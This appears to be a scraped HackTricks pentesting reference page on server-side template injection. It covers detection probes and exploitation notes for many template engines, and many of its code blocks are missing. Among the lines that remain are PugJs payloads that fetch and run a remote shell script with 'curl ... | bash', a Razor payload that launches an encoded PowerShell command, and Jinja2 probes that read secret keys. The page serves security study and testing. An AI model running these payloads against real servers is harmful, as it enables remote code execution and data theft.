Edit

SSTI (Server Side Template Injection)

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.

LogoRootedCON - RootedCONRootedCON

What is SSTI (Server-Side Template Injection)

Server-side template injection is a vulnerability that occurs when an attacker can inject malicious code into a template that is executed on the server. This vulnerability can be found in various technologies, including Jinja.

Jinja is a popular template engine used in web applications. Let's consider an example that demonstrates a vulnerable code snippet using Jinja:

In this vulnerable code, the name parameter from the user's request is directly passed into the template using the render function. This can potentially allow an attacker to inject malicious code into the name parameter, leading to server-side template injection.

For instance, an attacker could craft a request with a payload like this:

The payload {{bad-stuff-here}} is injected into the name parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.

To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.

Detection

To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. This involves injecting a sequence of special characters (${{<%[%'"}}%\) into the template and analyzing the differences in the server's response to regular data versus this special payload. Vulnerability indicators include:

  • Thrown errors, revealing the vulnerability and potentially the template engine.

  • Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data.

  • Plaintext Context: Distinguish from XSS by checking if the server evaluates template expressions (e.g., {{7*7}}, ${7*7}).

  • Code Context: Confirm vulnerability by altering input parameters. For instance, changing greeting in http://vulnerable-website.com/?greeting=data.username to see if the server's output is dynamic or fixed, like in greeting=data.username}}hello returning the username.

Identification Phase

Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include ${7/0}, {{7/0}}, and <%= 7/0 %>. Observing the server's response to mathematical operations helps pinpoint the specific template engine.

Tools

TInjA

an efficient SSTI + CSTI scanner which utilizes novel polyglots

SSTImap

Tplmap

Template Injection Table

an interactive table containing the most efficient template injection polyglots along with the expected responses of the 44 most important template engines.

Exploits

Generic

In this wordlist you can find variables defined in the environments of some of the engines mentioned below:

Java

Java - Basic injection

Java - Retrieve the system’s environment variables

Java - Retrieve /etc/passwd

FreeMarker (Java)

You can try your payloads at https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Nothing

  • ${foobar}

Freemarker - Sandbox bypass

⚠️ only works on Freemarker versions below 2.3.30

More information

Velocity (Java)

More information

Thymeleaf

In Thymeleaf, a common test for SSTI vulnerabilities is the expression ${7*7}, which also applies to this template engine. For potential remote code execution, expressions like the following can be used:

  • SpringEL:

  • OGNL:

Thymeleaf requires these expressions to be placed within specific attributes. However, expression inlining is supported for other template locations, using syntax like [[...]] or [(...)]. Thus, a simple SSTI test payload might look like [[${7*7}]].

However, the likelihood of this payload working is generally low. Thymeleaf's default configuration doesn't support dynamic template generation; templates must be predefined. Developers would need to implement their own TemplateResolver to create templates from strings on-the-fly, which is uncommon.

Thymeleaf also offers expression preprocessing, where expressions within double underscores (__...__) are preprocessed. This feature can be utilized in the construction of expressions, as demonstrated in Thymeleaf's documentation:

Example of Vulnerability in Thymeleaf

Consider the following code snippet, which could be susceptible to exploitation:

This indicates that if the template engine processes these inputs improperly, it might lead to remote code execution accessing URLs like:

More information

EL - Expression Language

Spring Framework (Java)

Bypass filters

Multiple variable expressions can be used, if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

  • Read /etc/passwd

  • Custom Script for payload generation

More Information

Spring View Manipulation (Java)

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Old version of Pebble ( < version 3.0.9):

New version of Pebble :

Jinjava (Java)

Jinjava is an open source project developed by Hubspot, available at https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Fixed by https://github.com/HubSpot/jinjava/pull/230

More information

Hubspot - HuBL (Java)

  • {% %} statement delimiters

  • {{ }} expression delimiters

  • {# #} comment delimiters

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discovered the Jinjava project on Github.

More information

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) is a fundamental feature that facilitates interaction between the presentation layer (like web pages) and the application logic (like managed beans) in JavaEE. It's used extensively across multiple JavaEE technologies to streamline this communication. The key JavaEE technologies utilizing EL include:

  • JavaServer Faces (JSF): Employs EL to bind components in JSF pages to the corresponding backend data and actions.

  • JavaServer Pages (JSP): EL is used in JSP for accessing and manipulating data within JSP pages, making it easier to connect page elements to the application data.

  • Contexts and Dependency Injection for Java EE (CDI): EL integrates with CDI to allow seamless interaction between the web layer and managed beans, ensuring a more coherent application structure.

Check the following page to learn more about the exploitation of EL interpreters:

EL - Expression Language

Groovy (Java)

The following Security Manager bypasses were taken from this writeup.

​​RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.

LogoRootedCON - RootedCONRootedCON

Smarty (PHP)

More information

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

Twig - Template format

More information

Plates (PHP)

Plates is a templating engine native to PHP, drawing inspiration from Twig. However, unlike Twig, which introduces a new syntax, Plates leverages native PHP code in templates, making it intuitive for PHP developers.

Controller:

Page template:

Layout template:

More information

PHPlib and HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB is the same as PHPlib but ported to Pear.

authors.tpl

authors.php

More information

Jade (NodeJS)

More information

patTemplate (PHP)

patTemplate non-compiling PHP templating engine, that uses XML tags to divide a document into different parts

More information

Handlebars (NodeJS)

Path Traversal (more info here).

  • = Error

  • ${7*7} = ${7*7}

  • Nothing

More information

JsRender (NodeJS)

Template

Description

Evaluate and render output

Evaluate and render HTML encoded output

Comment

and

Allow code (disabled by default)

  • = 49

Client Side

Server Side

More information

PugJs (NodeJS)

  • #{7*7} = 49

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Example server side render

More information

NUNJUCKS (NodeJS)

  • {{7*7}} = 49

  • {{foo}} = No output

  • #{7*7} = #{7*7}

  • {{console.log(1)}} = Error

More information

ERB (Ruby)

  • {{7*7}} = {{7*7}}

  • ${7*7} = ${7*7}

  • <%= 7*7 %> = 49

  • <%= foobar %> = Error

More information

Slim (Ruby)

  • { 7 * 7 }

More information

Python

Check out the following page to learn tricks about arbitrary command execution bypassing sandboxes in python:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{foobar}} = Error

  • {{7*'7'}} = 7777777

More information

Jinja2 (Python)

Official website

Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.

  • {{7*7}} = Error

  • ${7*7} = ${7*7}

  • {{foobar}} Nothing

  • {{4*4}}[[5*5]]

  • {{7*'7'}} = 7777777

  • {{config}}

  • {{config.items()}}

  • {{settings.SECRET_KEY}}

  • {{settings}}

  • <div data-gb-custom-block data-tag="debug"></div>

Jinja2 - Template format

RCE not dependant from __builtins__:

More details about how to abuse Jinja:

Jinja2 SSTI

Other payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

More information

Razor (.Net)

  • @(2+2) <= Success

  • @() <= Success

  • @("{{code}}") <= Success

  • @ <=Success

  • @{} <= ERROR!

  • @{ <= ERRROR!

  • @(1+2)

  • @( //C#Code )

  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");

  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

The .NET System.Diagnostics.Process.Start method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in https://github.com/cnotin/RazorVulnerableApp

More information

ASP

  • <%= 7*7 %> = 49

  • <%= "foo" %> = foo

  • <%= foo %> = Nothing

  • <%= response.write(date()) %> = <Date>

More Information

Mojolicious (Perl)

Even if it's perl it uses tags like ERB in Ruby.

  • <%= 7*7 %> = 49

  • <%= foobar %> = Error

SSTI in GO

In Go's template engine, confirmation of its usage can be done with specific payloads:

  • {{ . }}: Reveals the data structure input. For instance, if an object with a Password attribute is passed, {{ .Password }} could expose it.

  • {{printf "%s" "ssti" }}: Expected to display the string "ssti".

  • {{html "ssti"}}, {{js "ssti"}}: These payloads should return "ssti" without appending "html" or "js". Further directives can be explored in the Go documentation here.

XSS Exploitation

With the text/template package, XSS can be straightforward by inserting the payload directly. Contrastingly, the html/template package encodes the response to prevent this (e.g., {{"<script>alert(1)</script>"}} results in &lt;script&gt;alert(1)&lt;/script&gt;). Nonetheless, template definition and invocation in Go can bypass this encoding: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

RCE Exploitation

RCE exploitation differs significantly between html/template and text/template. The text/template module allows calling any public function directly (using the “call” value), which is not permitted in html/template. Documentation for these modules is available here for html/template and here for text/template.

For RCE via SSTI in Go, object methods can be invoked. For example, if the provided object has a System method executing commands, it can be exploited like {{ .System "ls" }}. Accessing the source code is usually necessary to exploit this, as in the given example:

More information

More Exploits

Check the rest of https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection for more exploits. Also you can find interesting tags information in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

2MB
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
PDF
Open

Related Help

If you think it could be useful, read:

Tools

Brute-Force Detection List

LogoAuto_Wordlists/wordlists/ssti.txt at main · carlospolop/Auto_WordlistsGitHub

Practice & References

​​​RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.

LogoRootedCON - RootedCONRootedCON

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
PreviousCloud SSRFNextEL - Expression Language

Last updated